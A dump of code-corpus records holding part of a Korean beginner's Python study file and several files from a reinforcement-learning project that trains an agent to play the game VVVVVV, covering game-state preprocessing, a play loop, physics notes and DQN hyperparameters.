๋ชจ๋ฅผ๋•Œ!\nscore_file=open(\"score.txt\",\"r\",encoding='utf8')\nwhile True:\n line=score_file.readline()\n if not line:\n break\n print(line,end=\"\")\nscore_file.close() \n#๋˜ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•\nscore_file=open(\"score.txt\",\"r\",encoding='utf8')\nlines=score_file.readlines()\nfor line in lines:\n print(line,end='')\nscore_file.close()\nprint(\"\\n\\n\")\n\n\n#์ฑ•ํ„ฐ 20\nprint(\"์ฑ•ํ„ฐ20\")\n\n#ํ”ผํด:ํŒŒ์ด์ฌ์— ์‚ฌ์šฉ๋˜๋Š” ์ž๋ฃŒํ˜• ๊ทธ๋Œ€๋กœ ์ €์žฅ ๊ฐ€๋Šฅ\nimport pickle\n\nprofile_file=open(\"profile.pickle\",\"wb\")\nprofile={'์ด๋ฆ„':'๋ฐ•๋ช…์ˆ˜','๋‚˜์ด':20,'์ทจ๋ฏธ':['์ถ•๊ตฌ','๊ณจํ”„','์ฝ”๋”ฉ']}\nprint(profile)\npickle.dump(profile,profile_file)#profile์— ์žˆ๋Š” ์ •๋ณด๋ฅผ file์— ์ €์žฅ\nprofile_file.close()\n\nprofile_file=open(\"profile.pickle\",'rb')\nprofile=pickle.load(profile_file)#file์— ์žˆ๋Š” ์ •๋ณด๋ฅผ profile์— ๋ถˆ๋Ÿฌ์˜ค๊ธฐ\nprint(profile)\nprofile_file.close()\n\n#with ๊ตฌ๋ฌธ\nwith open(\"profile.pickle\",\"rb\")as profile_file:\n print(pickle.load(profile_file))\n#ํŒŒ์ผ์„ ์ž๋™์œผ๋กœ ๋‹ซ์•„์คŒ!!\n\nwith open(\"study.txt\",\"w\",encoding=\"utf8\") as study_file:\n study_file.write(\"ํŒŒ์ด์ฌ ์—ด๊ณต์ค‘\")\n\n\n" }, { "alpha_fraction": 0.6727325916290283, "alphanum_fraction": 0.6938655972480774, "avg_line_length": 16.652849197387695, "blob_id": "55f5079de7444b0cb1a7081b76a85f45822f4078", "content_id": "3717e3084e19af4a29e89685849f6768272837f2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4629, "license_type": "no_license", "max_line_length": 74, "num_lines": 193, "path": "/PY_STUDY/PY_STUDY_04.py", "repo_name": "HONG-C/PY_STUDY", "src_encoding": "UTF-8", "text": "#์ฑ•ํ„ฐ 31\nprint(\"์ฑ•ํ„ฐ 31\")\n\n#์‚ฌ์šฉ์ž ์ •์˜ ์˜ˆ์™ธ์ฒ˜๋ฆฌ\n\nclass BigNumberError(Exception):\n def __init__(self,msg):\n self.msg=msg\n def __str__(self):\n return self.msg\n\ntry:\n print(\"ํ•œ์ž๋ฆฌ ์ˆซ์ž ๋‚˜๋ˆ„๊ธฐ ์ „์šฉ ๊ณ„์‚ฐ๊ธฐ์ž…๋‹ˆ๋‹ค.\")\n num1=int(input(\"์ฒซ๋ฒˆ์งธ ์ˆซ์ž๋ฅผ ์ž…๋ ฅํ•˜์„ธ์š”:\"))\n num2=int(input(\"๋‘๋ฒˆ์งธ ์ˆซ์ž๋ฅผ ์ž…๋ ฅํ•˜์„ธ์š”:\"))\n if num1>=10 or num2>=10:\n raise BigNumberError(\"์ž…๋ ฅ๊ฐ’:{0},{1}\".format(num1,num2))\n print(\"{0}/{1}={2}\".format(num1,num2,int(num1/num2)))\nexcept ValueError:\n print(\"์ž˜๋ชป๋œ ๊ฐ’์„ ์ž…๋ ฅํ•˜์˜€์Šต๋‹ˆ๋‹ค ํ•œ์ž๋ฆฌ๋งŒ ์ž…๋ ฅํ•˜์„ธ์šฉ\")\nexcept BigNumberError as err:\n print(\"์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ–ˆ๋‹ค\")\n print(err)\nfinally:#ํ”„๋กœ๊ทธ๋žจ ๋๋‚ ๋•Œ ๋ฌด์กฐ๊ฑด ์‹คํ–‰\n print(\"๊ณ„์‚ฐ๊ธฐ๋ฅผ ์‚ฌ์šฉํ•ด ์ฃผ์…”์„œ ๊ฐ์‚ฌํ•ฉ๋‹ˆ๋‹ค.\")\n\nprint(\"\\n\\n\")\n\n\n#์ฑ•ํ„ฐ 32\nprint(\"์ฑ•ํ„ฐ 32\")\n\nprint(\"\\n\\n\")\n\n\n#์ฑ•ํ„ฐ 33\nprint(\"์ฑ•ํ„ฐ 33\")\n\nprint(\"\\n\\n\")\n\n\n#์ฑ•ํ„ฐ 34\nprint(\"์ฑ•ํ„ฐ 34\")\n# import theater_module\n# theater_module.price(3)\n\n# import theater_module as mv\n# mv.price(3)\n\n# from theater_module import *\n# price(3)\nfrom theater_module import price,price_morning\n\nprice(5)\nprice_morning(6)\n# price_soldier(7)\n#์ž„ํฌํŠธ ํ•˜์ง€ ์•Š์•˜๊ธฐ์— ์ด ๊ตฌ๋ฌธ์€ ์˜ค๋ฅ˜๋ฅผ ๋ฐœ์ƒ์‹œํ‚ด!\nfrom theater_module import price_soldier as ps\nps(5)\n\nimport travel.thailand\ntrip_to=travel.thailand.ThailandPackage()\ntrip_to.detail()\n\n# import travel.thailand.ThailandPackage()\n#์ด๋ ‡๊ฒŒ ์‚ฌ์šฉ์„ ๋ถˆ๊ฐ€!(์˜ค๋ฅ˜๋ฐœ์ƒ)\n\n#from ๊ตฌ๋ฌธ์€ ๊ฐ€๋Šฅ!\n# from travel.vietnam import VietnamPackage\n# trip_to=VietnamPackage()\n# trip_to.detail()\n\n#์š”๋ ‡๊ฒŒ๋„ ๊ฐ€๋Šฅ\n# from travel import vietnam\n# trip_to=vietnam.VietnamPackage()\n# trip_to.detail()\n\n#__all__\n\n#__init__.py์— all์— ๊ตฌ๋ฌธ์„ ์ถ”๊ฐ€ํ•˜์ง€ ์•Š์œผ๋ฉด ์•„๋ž˜ ๊ตฌ๋ฌธ์€ ์˜ค๋ฅ˜๋ฅผ ์ผ์œผํ‚ด\nfrom travel import*\n#ํŒจํ‚ค์ง€ ์•ˆ์—์„œ ๊ณต๊ฐœ,๋น„๊ณต๊ฐœ ํ• ๊ฒƒ์„ ์„ค์ • ๊ฐ€๋Šฅ(__all__์— ์ถ”๊ฐ€ํ•˜๋ฉด ๊ณต๊ฐœ ๊ฐ€๋Šฅ)\ntrip_to=thailand.ThailandPackage()\ntrip_to.detail()\ntrip_to=vietnam.VietnamPackage()\ntrip_to.detail()\n\n#ํŒจํ‚ค์ง€,๋ชจ๋“ˆ ์œ„์น˜\nimport inspect\nimport random\nprint(inspect.getfile(random))\nprint(inspect.getfile(thailand))\n#travelํŒจํ‚ค์ง€๋ฅผ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์žˆ๋Š”๊ณณ์œผ๋กœ ์˜ฎ๊ฒจ์„œ ์‹คํ–‰ ๊ฐ€๋Šฅ!\n#thailand.py ์ง์ ‘ ์‹คํ–‰ํ•˜๋ ค๋ฉด? ์‰˜์—์„œ cd travel๋กœ ๊ฒฝ๋กœ ์ด๋™ ํ›„ python thailand.py ํƒ€์ดํ•‘!\n\n\nprint(\"\\n\\n\")\n\n\n#์ฑ•ํ„ฐ 35\nprint(\"์ฑ•ํ„ฐ 35\")\n#pip install\n#ํŒŒ์ด์ฌ์€ ์ด๋ฏธ ๋งŒ๋“ค์–ด๋†“์€ ํŒจํ‚ค์ง€๊ฐ€ ๋งŽ๊ธฐ ๋•Œ๋ฌธ์— ๊ตณ์ด ์ผ์ผ์ด ๋งŒ๋“ค ํ•„์š” ์—†์Œ!\n\n#๊ตฌ๊ธ€์— pip ๋“ค์–ด๊ฐ€์„œ ์ฐพ์•„๋ณด๊ธฐ!\n#pip list:์„ค์น˜ํ•œ ํŒจํ‚ค์ง€๋“ค\n#pip show ๋ชจ๋“ˆ์ด๋ฆ„:๋ชจ๋“ˆ ์ •๋ณด ๋ณด์—ฌ์คŒ\n#pip install --upgrade ๋ชจ๋“ˆ์ด๋ฆ„\n#pip uninstall ๋ชจ๋“ˆ์ด๋ฆ„:๋ชจ๋“ˆ์ œ๊ฑฐ\n\nfrom bs4 import BeautifulSoup\nsoup = BeautifulSoup(\"<p>Some<b>bad<i>HTML\")\nprint(soup.prettify())\nprint(\"\\n\\n\")\n\n#์ฑ•ํ„ฐ 36\nprint(\"์ฑ•ํ„ฐ 36\")\n\n#๋‚ด์žฅํ•จ์ˆ˜\n\n#input:์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ๋ฐ›๋Š” ํ•จ์ˆ˜\nlanguage=input(\"๋ฌด์Šจ ์–ธ์–ด ์ข‹๋ƒ\")\nprint(\"{0}์€ ์•„์ฃผ ์ข‹์†Œ\".format(language))\n\n#dir:์–ด๋–ค ๊ฐ์ฒด๋ฅผ ๋„˜๊ฒจ์คฌ์„๋•Œ ๊ทธ ๊ฐ์ฒด๊ฐ€ ์–ด๋–ค ๋ณ€์ˆ˜์™€ ํ•จ์ˆ˜๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ๋Š”์ง€ ํ‘œ์‹œ\nprint(dir())\nimport random\nprint(dir())#์–ด๋–ค๊ฑธ ์“ธ์ˆ˜ ์žˆ๋Š”์ง€!\nimport pickle\nprint(dir())\n\nprint(dir(random))\n\nprint(\"\\n\\n\")\nlst=[1,2,3]\nprint(dir(lst))#append,sort ๋“ฑ๋“ฑ ๋ฆฌ์ŠคํŠธ์—์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ํ•จ์ˆ˜๋“ค์ด ํ‘œ์‹œ!\n\nprint(\"\\n\\n\")\nname='jim'\nprint(dir(name))\n#๊ตฌ๊ธ€์— list of python builtins ๊ฒ€์ƒ‰\n#ํŒŒ์ด์ฌ ๋‚ด์—์„œ ์“ธ์ˆ˜ ์žˆ๋Š” ๋‚ด์žฅํ•จ์ˆ˜ ๊ฒ€์ƒ‰ ๊ฐ€๋Šฅ\n\nprint(\"\\n\\n\")\n\n#์ฑ•ํ„ฐ 37\nprint(\"์ฑ•ํ„ฐ 37\")\n\n#์™ธ์žฅํ•จ์ˆ˜\n#๊ตฌ๊ธ€์— list of python modules ๋ผ๊ณ  ๊ฒ€์ƒ‰ํ•˜๋ฉด python module index์— ๋“ค์–ด๊ฐ€์„œ ๋ชจ๋“ˆ ์ •๋ณด๋ฅผ ์•Œ์ˆ˜ ์žˆ์Œ\n#์‚ฌ์šฉ ์˜ˆ์ œ\n\n#glob:๊ฒฝ๋กœ ๋‚ด ํด๋”/ํŒŒ์ผ ๋ชฉ๋ก ์กฐํšŒ(์œˆ๋„์šฐ dir)\n\nimport glob\nprint(glob.glob(\"*.py\"))\n#ํ™•์žฅ์ž๊ฐ€ py์ธ ๋ชจ๋“  ํŒŒ์ผ\n\n#os:์šด์˜์ฒด์ œ์—์„œ ์ œ๊ณตํ•˜๋Š” ๊ธฐ๋ณธ ๊ธฐ๋Šฅ\nimport os\nprint(os.getcwd())#ํ˜„์žฌ ๋””๋ ‰ํ† ๋ฆฌ\n\nfolder=\"sample_dir\"\nif os.path.exists(folder):\n print(\"์ด๋ฏธ ์กด์žฌํ•˜๋Š” ํด๋”์ž…๋‹ˆ๋‹ค\")\n os.rmdir(folder)\n print(folder,\"ํด๋”๋ฅผ ์‚ญ์ œํ•˜์˜€์Šต๋‹ˆ๋‹ค\")\nelse:\n os.makedirs(folder)#ํด๋”์ƒ์„ฑ\n print(folder,\"ํด๋”๋ฅผ ์ƒ์„ฑํ•˜์˜€์Šต๋‹ˆ๋‹ค\")\n\nprint(os.listdir())#๊ฒฝ๋กœ๋‚ด ํด๋”,ํŒŒ์ผ ์กฐํšŒ\n\n#time:์‹œ๊ฐ„ ๊ด€๋ จ ํ•จ์ˆ˜\nimport time\nprint(time.localtime())\nprint(time.strftime(\"%Y-%M-%d %H:%M:%S\"))\n\nimport datetime\nprint(\"์˜ค๋Š˜ ๋‚ ์งœ๋Š”\",datetime.date.today())\n\n#timedelta:๋‘ ๋‚ ์งœ์‚ฌ์ด์˜ ๊ฐ„๊ฒฉ\ntoday=datetime.date.today()#์˜ค๋Š˜ ๋‚ ์งœ ์ €์žฅ\ntd=datetime.timedelta(days=100)#100์ผ ์ €์žฅ\nprint(\"์šฐ๋ฆฌ๊ฐ€ ๋งŒ๋‚œ์ง€ 100์ผ์€\",today\n+td)\n\nprint(\"\\n\\n\")\n\n#์ฑ•ํ„ฐ 38\nprint(\"์ฑ•ํ„ฐ 38\")\nprint(\"๋ณต์Šต ๋!\")\nprint(\"\\n\\n\")\n" } ]
8
E-Sh4rk/VVVVVV-AI
https://github.com/E-Sh4rk/VVVVVV-AI
8bcdf5c73f6cf869adb8bcb039d5b6279264f8ad
f3c0dece992fc8f0af777b9c29e56dfc570a0095
267581f99f317fc70f319c41f78169ce240b1066
refs/heads/master
2021-02-06T04:32:22.435164
2020-03-10T16:10:04
2020-03-10T16:10:04
243,876,133
1
1
null
2020-02-29T00:03:36
2020-03-09T20:48:24
2020-03-10T15:47:35
HTML
[ { "alpha_fraction": 0.5721611976623535, "alphanum_fraction": 0.5787546038627625, "avg_line_length": 24.754716873168945, "blob_id": "03076dd6fff99458d90db773409f9e55e5a2512f", "content_id": "659d4d88774c4b2f3c6dce6700edcc6ff4f30a27", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1365, "license_type": "no_license", "max_line_length": 83, "num_lines": 53, "path": "/pybot/play.py", "repo_name": "E-Sh4rk/VVVVVV-AI", "src_encoding": "UTF-8", "text": "import time\nfrom state import display_matrix\nfrom comm import initialize_game, next_step, reset_game, ACTION\nfrom env import Env\nimport torch\nfrom agent import Agent\nfrom cmdparser import parser, init_torch\n\nSHOW_MATRIX = True\nTRAINING = True\n\nSLEEP = 0\nUSE_ENV_ENGINE = True\n\nif USE_ENV_ENGINE:\n args = parser.parse_args()\n init_torch(args)\n # Load environment\n env = Env(args, TRAINING)\n env.eval()\n state = env.reset()\n # Load network\n dqn = Agent(args, env)\n dqn.eval()\n\n total_reward = 0\n n = 0\n reward_sum = 0\n while True:\n action = dqn.act(state)\n (state,reward,done) = env.step(action)\n reward_sum += reward\n if done:\n total_reward += reward_sum\n n += 1\n print(\"Reward: %d\\tMean reward: %.2f\" % (reward_sum, total_reward / n))\n reward_sum = 0\n state = env.reset()\n if SHOW_MATRIX:\n env.render()\n if SLEEP > 0:\n time.sleep(SLEEP)\nelse:\n (io, pjson, state) = initialize_game(TRAINING)\n (pjson, state) = reset_game(io, state)\n while True:\n (pjson, state) = next_step(io, pjson, ACTION.RIGHT)\n if state.terminal:\n (pjson, state) = reset_game(io, state)\n if SHOW_MATRIX:\n display_matrix(state.image)\n if SLEEP > 0:\n time.sleep(SLEEP)\n" }, { "alpha_fraction": 0.5111947059631348, "alphanum_fraction": 0.5482596158981323, "avg_line_length": 32.1875, "blob_id": "a7af35402eb22b809fbb3cfcb48cb026192977f4", "content_id": "f780c9859fefe879a10bf5cfe5b3b8386c32f7b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5315, "license_type": "no_license", "max_line_length": 148, "num_lines": 160, "path": "/pybot/state.py", "repo_name": "E-Sh4rk/VVVVVV-AI", "src_encoding": "UTF-8", "text": "import math\nimport numpy as np\nimport cv2 as cv\n\nPLAYER_X_JUMP = 320\n\nPLAYER_MAX_Y_SPEED = 10\nPLAYER_MAX_X_SPEED = 6\nPROJ_MAX_SPEED = 7\n\nPROJ_X_START_OFFSET = 150\n\nDOWNSCALE = 3\nHEIGHT_MULTIPLE_OF = 44 # 42\nWIDTH_MULTIPLE_OF = 116\nNB_CHANNELS = 3\n\nLINE1_ADJUST = 0 # 1\nLINE2_ADJUST = 0 # -2\n\nclass State:\n score=0\n terminal=True\n image=None\n\ndef compute_speed_of_projectile(previous_json, sprite):\n sprite[\"xs\"] = 0\n if previous_json == None:\n return\n for psprite in previous_json[\"proj\"]:\n if psprite[\"y\"] == sprite[\"y\"]:\n diff = sprite[\"x\"] - psprite[\"x\"]\n if diff == psprite[\"xs\"] or (psprite[\"xs\"] == 0 and abs(diff) == PROJ_MAX_SPEED):\n sprite[\"xs\"] = diff\n break\n \ndef compute_speed_of_character(previous_json, sprite):\n if previous_json == None:\n sprite[\"ys\"] = 0\n sprite[\"xs\"] = 0\n return\n sprite[\"ys\"] = sprite[\"y\"] - previous_json[\"player\"][\"y\"]\n sprite[\"xs\"] = sprite[\"x\"] - previous_json[\"player\"][\"x\"]\n if abs(sprite[\"xs\"]) > PLAYER_MAX_X_SPEED + 1:\n if sprite[\"xs\"] > 0:\n sprite[\"xs\"] -= PLAYER_X_JUMP\n else:\n sprite[\"xs\"] += PLAYER_X_JUMP\n \ndef generate_matrix(prev_json, json):\n if len(json[\"lines\"]) != 2:\n return None\n\n lines = json[\"lines\"]\n if lines[0][\"y\"] > lines[1][\"y\"]:\n tmp = lines[1][\"y\"]\n lines[1][\"y\"] = lines[0][\"y\"]\n lines[0][\"y\"] = tmp\n # Little preprocessing\n lines[0][\"y\"] += LINE1_ADJUST\n lines[1][\"y\"] += LINE2_ADJUST\n\n proj = json[\"proj\"]\n for p in proj:\n compute_speed_of_projectile(prev_json, p)\n player = json[\"player\"]\n compute_speed_of_character(prev_json, player)\n\n ymin = lines[0][\"y\"]\n ymax = lines[1][\"y\"]+lines[1][\"h\"]\n xmin = min(lines[0][\"x\"], lines[1][\"x\"])\n xmax = max(lines[0][\"x\"]+lines[0][\"w\"],\n lines[1][\"x\"]+lines[1][\"w\"])\n n = xmax-xmin\n m = ymax-ymin\n height_mult = HEIGHT_MULTIPLE_OF * DOWNSCALE\n width_mult = WIDTH_MULTIPLE_OF * DOWNSCALE\n npad = (width_mult - (n % width_mult)) % width_mult\n mpad = (height_mult - (m % height_mult)) % height_mult\n m += mpad\n n += npad\n y_offset = mpad // 2 - ymin\n x_offset = npad // 2 - xmin\n M = np.zeros((m,n,3), np.uint8)\n\n def draw_full_sprite(sprite, color):\n cv.rectangle(M,(sprite[\"x\"]+x_offset,sprite[\"y\"]+y_offset),(sprite[\"x\"]+sprite[\"w\"]+x_offset-1,sprite[\"y\"]+sprite[\"h\"]+y_offset-1),color,-1)\n def draw_full_sprite_circle(sprite, color):\n cv.circle(M,(sprite[\"x\"]+sprite[\"w\"]//2+x_offset,sprite[\"y\"]+sprite[\"h\"]//2+y_offset),(sprite[\"w\"]+sprite[\"h\"])//4,color,-1)\n\n cv.line(M,(x_offset+xmin,0),(x_offset+xmin,m-1), (255,0,0),1)\n cv.line(M,(x_offset+xmax-1,0),(x_offset+xmax-1,m-1), (255,0,0),1)\n for i in range(len(proj)):\n if proj[i][\"xs\"] < 0 and proj[i][\"x\"] >= xmax:\n blue = max(0, (PROJ_X_START_OFFSET-(proj[i][\"x\"]-xmax))*255//PROJ_X_START_OFFSET)\n cv.rectangle(M,(xmax+x_offset,proj[i][\"y\"]+y_offset),(n-1,proj[i][\"y\"]+proj[i][\"h\"]+y_offset-1),(blue,0,0),-1)\n if proj[i][\"xs\"] > 0 and proj[i][\"x\"]+proj[i][\"w\"] <= xmin:\n blue = max(0, (PROJ_X_START_OFFSET+(proj[i][\"x\"]+proj[i][\"w\"]-xmin))*255//PROJ_X_START_OFFSET)\n cv.rectangle(M,(0,proj[i][\"y\"]+y_offset),(x_offset+xmin-1,proj[i][\"y\"]+proj[i][\"h\"]+y_offset-1),(blue,0,0),-1)\n\n if NB_CHANNELS < 3: # No velocity indications\n\n draw_full_sprite(lines[0], (255,0,0))\n draw_full_sprite(lines[1], (255,0,0))\n for i in range(len(proj)):\n draw_full_sprite_circle(proj[i], (0,0,255))\n draw_full_sprite(player, (0,255,0))\n\n else: # Color change depending on velocity\n\n # Projectiles: R | RB\n #\n # Player: G | GB\n # GR\n #\n # Horizontal lines: GR & G\n #\n # Vertical lines: B\n\n draw_full_sprite(lines[0], (0,255,255))\n draw_full_sprite(lines[1], (0,255,0))\n\n for i in range(len(proj)):\n blue = (proj[i][\"xs\"] + PROJ_MAX_SPEED) * 255 / (2*PROJ_MAX_SPEED)\n draw_full_sprite_circle(proj[i], (blue, 0, 255))\n blue = (player[\"xs\"] + PLAYER_MAX_X_SPEED) * 255 / (2*PLAYER_MAX_X_SPEED)\n red = (player[\"ys\"] + PLAYER_MAX_Y_SPEED) * 255 / (2*PLAYER_MAX_Y_SPEED)\n draw_full_sprite(player, (blue, 255, red))\n\n M = cv.resize(M, (n//DOWNSCALE, m//DOWNSCALE), interpolation=cv.INTER_AREA)\n\n if NB_CHANNELS == 1:\n coefficients = [1,0.6,0.4]\n m = np.array(coefficients).reshape((1,3))\n M = cv.transform(M, m)\n elif NB_CHANNELS == 2:\n coefficients = [0,0,0,1,0.75,0,0,0,1]\n m = np.array(coefficients).reshape((3,3))\n M = cv.transform(M, m)\n # else:\n # coefficients = [2,0,0,0,1,0,0,0,1]\n # m = np.array(coefficients).reshape((3,3))\n # M = cv.transform(M, m)\n\n return M\n\ndef display_matrix(M):\n cv.namedWindow('preview',cv.WINDOW_NORMAL)\n cv.imshow('preview', M)\n cv.waitKey(1)\n\ndef i2b(i):\n return False if i == 0 else True\n\ndef parse_state(prev_json, js):\n state = State()\n state.score = js[\"timer\"]\n state.image = generate_matrix(prev_json, js)\n state.terminal = i2b(js[\"dead\"]) or not(i2b(js[\"playable\"]))\n return state\n \n" }, { "alpha_fraction": 0.696891188621521, "alphanum_fraction": 0.7046632170677185, "avg_line_length": 31.08333396911621, "blob_id": "57610dc5d3c74b76874a9b587a01e932650ca6c4", "content_id": "8bfd584203d77f79aa9560e5d5648a7daa18659d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 386, "license_type": "no_license", "max_line_length": 90, "num_lines": 12, "path": "/bot_deprecated/README.md", "repo_name": "E-Sh4rk/VVVVVV-AI", "src_encoding": "UTF-8", "text": "\nTHIS IMPLEMENTATION IS DEPRECATED.\n\nPlease use the Python implementation instead.\n\n----------------------------\n\nRequirements:\n\n- Install Julia 1.3.x\n- Install the dependencies of KNet for GPU support (compiler, GPU drivers, CUDA, cuDNN): \n https://denizyuret.github.io/Knet.jl/latest/install/#Installation-1\n- Then you can start a Julia REPL and run `]activate .` and `instantiate`\n" }, { "alpha_fraction": 0.5191339254379272, "alphanum_fraction": 0.5594159364700317, "avg_line_length": 19.894737243652344, "blob_id": "699735b44d0e0adea392b1797c7c8a8bde42a44c", "content_id": "255e63c993c64cb5b890d40e9fe7915097da4b8d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1986, "license_type": "no_license", "max_line_length": 76, "num_lines": 95, "path": "/bot/doc/player_speed.cpp", "repo_name": "E-Sh4rk/VVVVVV-AI", "src_encoding": "UTF-8", "text": "\nif (game.press_left)\n{\n\tgame.tapleft++;\n}\nelse\n{\n\tif (game.tapleft <= 4 && game.tapleft > 0)\n\t{\n\t\tif (obj.entities[ie].vx < 0.0f)\n\t\t{\n\t\t\tobj.entities[ie].vx = 0.0f;\n\t\t}\n\t}\n\tgame.tapleft = 0;\n}\nif (game.press_right)\n{\n\tgame.tapright++;\n}\nelse\n{\n\tif (game.tapright <= 4 && game.tapright > 0)\n\t{\n\t\tif (obj.entities[ie].vx > 0.0f)\n\t\t{\n\t\t\tobj.entities[ie].vx = 0.0f;\n\t\t}\n\t}\n\tgame.tapright = 0;\n}\n\n\nif(game.press_left)\n{\n\t//obj.entities[i].vx = -4;\n\tobj.entities[ie].ax = -3;\n\tobj.entities[ie].dir = 0;\n}\nelse if (game.press_right)\n{\n\t//obj.entities[i].vx = 4;\n\tobj.entities[ie].ax = 3;\n\tobj.entities[ie].dir = 1;\n}\n\n/////////////////////////////////\n\nvoid entityclass::applyfriction( int t, float xrate, float yrate )\n{\n if (entities[t].vx > 0.00f) entities[t].vx -= xrate;\n if (entities[t].vx < 0.00f) entities[t].vx += xrate;\n if (entities[t].vy > 0.00f) entities[t].vy -= yrate;\n if (entities[t].vy < 0.00f) entities[t].vy += yrate;\n if (entities[t].vy > 10.00f) entities[t].vy = 10.0f;\n if (entities[t].vy < -10.00f) entities[t].vy = -10.0f;\n if (entities[t].vx > 6.00f) entities[t].vx = 6.0f;\n if (entities[t].vx < -6.00f) entities[t].vx = -6.0f;\n\n if (std::abs(entities[t].vx) < xrate) entities[t].vx = 0.0f;\n if (std::abs(entities[t].vy) < yrate) entities[t].vy = 0.0f;\n}\n\n/////////////////////////////////\n\nentities[t].vx = entities[t].vx + entities[t].ax;\nentities[t].vy = entities[t].vy + entities[t].ay;\nentities[t].ax = 0;\n\nif(game.gravitycontrol==0)\n{\n\tentities[t].ay = 3;\n}\nelse\n{\n\tentities[t].ay = -3;\n}\n\napplyfriction(t, game.inertia, 0.25f); // NOTE: inertia = 1.1f;\n\nentities[t].newxp = entities[t].xp + entities[t].vx; // NOTE: int conversion\nentities[t].newyp = entities[t].yp + entities[t].vy; // NOTE: int conversion\n\n/////////////// COLLISIONS ARE CHECKED HERE //////////////////\n\nif (obj.entities[i].xp <= -10)\n{\n obj.entities[i].xp += 320;\n}\nelse\n{\n if (obj.entities[i].xp > 310)\n {\n obj.entities[i].xp -= 320;\n }\n}\n" }, { "alpha_fraction": 0.7173630595207214, "alphanum_fraction": 0.739832878112793, "avg_line_length": 91.8448257446289, "blob_id": "c228120d35f5c2e512eb61466b2f8c80b6420a81", "content_id": "a35df234c8173a98f64bda7e96ac1c058d81e0d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5393, "license_type": "no_license", "max_line_length": 168, "num_lines": 58, "path": "/pybot/cmdparser.py", "repo_name": "E-Sh4rk/VVVVVV-AI", "src_encoding": "UTF-8", "text": "import argparse\nfrom state import NB_CHANNELS\nfrom env import FSKIP\nimport numpy as np\nimport torch\n\n# Note that hyperparameters may originally be reported in ATARI game frames instead of agent steps\nparser = argparse.ArgumentParser(description='Rainbow')\nparser.add_argument('--id', type=str, default='default', help='Experiment ID')\nparser.add_argument('--seed', type=int, default=123, help='Random seed')\nparser.add_argument('--disable-cuda', action='store_true', help='Disable CUDA')\n# parser.add_argument('--game', type=str, default='space_invaders', choices=atari_py.list_games(), help='ATARI game')\nparser.add_argument('--T-max', type=int, default=int(50e6), metavar='STEPS', help='Number of training steps (4x number of frames)')\nparser.add_argument('--max-episode-length', type=int, default=int(108e3), metavar='LENGTH', help='Max episode length in game frames (0 to disable)')\n# If velocity is encoded into colors, history length could be 1. Otherwise, must be at least 2.\nparser.add_argument('--history-length', type=int, default=1 if NB_CHANNELS == 3 else 2, metavar='T', help='Number of consecutive states processed')\nparser.add_argument('--architecture', type=str, default='canonical', choices=['canonical', 'canonical-', 'data-efficient'], metavar='ARCH', help='Network architecture')\nparser.add_argument('--hidden-size', type=int, default=512, metavar='SIZE', help='Network hidden size')\nparser.add_argument('--noisy-std', type=float, default=0.05, metavar='ฯƒ', help='Initial standard deviation of noisy linear layers') # NOTE: was 0.1\nparser.add_argument('--atoms', type=int, default=51, metavar='C', help='Discretised size of value distribution')\nparser.add_argument('--V-min', type=float, default=-10, metavar='V', help='Minimum of value distribution support')\nparser.add_argument('--V-max', type=float, default=10, metavar='V', help='Maximum of value distribution support')\nparser.add_argument('--model', type=str, metavar='PARAMS', help='Pretrained model (state dict)')\n# TODO: memory capacity should be increased if possible. With 2 color channels, 5e5 takes about 6 Go.\nparser.add_argument('--memory-capacity', type=int, default=int(5e5), metavar='CAPACITY', help='Experience replay memory capacity')\nparser.add_argument('--replay-frequency', type=int, default=4, metavar='k', help='Frequency of sampling from memory')\nparser.add_argument('--priority-exponent', type=float, default=0.5, metavar='ฯ‰', help='Prioritised experience replay exponent (originally denoted ฮฑ)')\nparser.add_argument('--priority-weight', type=float, default=0.4, metavar='ฮฒ', help='Initial prioritised experience replay importance sampling weight')\nparser.add_argument('--multi-step', type=int, default=3, metavar='n', help='Number of steps for multi-step return')\n# Discount factor should probably be 0.98, because a move has almost no effect on the situation 5 seconds later (0.98^75 = 0.22)\nparser.add_argument('--discount', type=float, default=0.98 if FSKIP >= 2 else 0.99, metavar='ฮณ', help='Discount factor')\nparser.add_argument('--target-update', type=int, default=int(32e3 / FSKIP), metavar='ฯ„', help='Number of steps after which to update target network')\nparser.add_argument('--reward-clip', type=int, default=1, metavar='VALUE', help='Reward clipping (0 to disable)')\nparser.add_argument('--learning-rate', type=float, default=0.0000625, metavar='ฮท', help='Learning rate')\nparser.add_argument('--adam-eps', type=float, default=1.5e-4, metavar='ฮต', help='Adam epsilon')\nparser.add_argument('--batch-size', type=int, default=32, metavar='SIZE', help='Batch size')\nparser.add_argument('--learn-start', type=int, default=int(80e3 / FSKIP), metavar='STEPS', help='Number of steps before starting training')\nparser.add_argument('--evaluate', action='store_true', help='Evaluate only')\nparser.add_argument('--evaluation-interval', type=int, default=250000, metavar='STEPS', help='Number of training steps between evaluations') # Was 100000\n# Note: evaluation-episodes was 10, but super gravitron runs are short and the difficulty can vary a lot...\nparser.add_argument('--evaluation-episodes', type=int, default=250, metavar='N', help='Number of evaluation episodes to average over')\n# TODO: Note that DeepMind's evaluation method is running the latest agent for 500K frames ever every 1M steps\nparser.add_argument('--evaluation-size', type=int, default=500, metavar='N', help='Number of transitions to use for validating Q')\nparser.add_argument('--render', action='store_true', help='Display screen (testing only)')\nparser.add_argument('--enable-cudnn', action='store_true', help='Enable cuDNN (faster but nondeterministic)')\nparser.add_argument('--checkpoint-interval', type=int, default=0, help='How often to checkpoint the model, defaults to 0 (never checkpoint)')\nparser.add_argument('--memory', help='Path to save/load the memory from')\nparser.add_argument('--disable-bzip-memory', action='store_true', help='Don\\'t zip the memory file. Not recommended (zipping is a bit slower and much, much smaller)')\n\ndef init_torch(args):\n np.random.seed(args.seed)\n torch.manual_seed(np.random.randint(1, 10000))\n if torch.cuda.is_available() and not 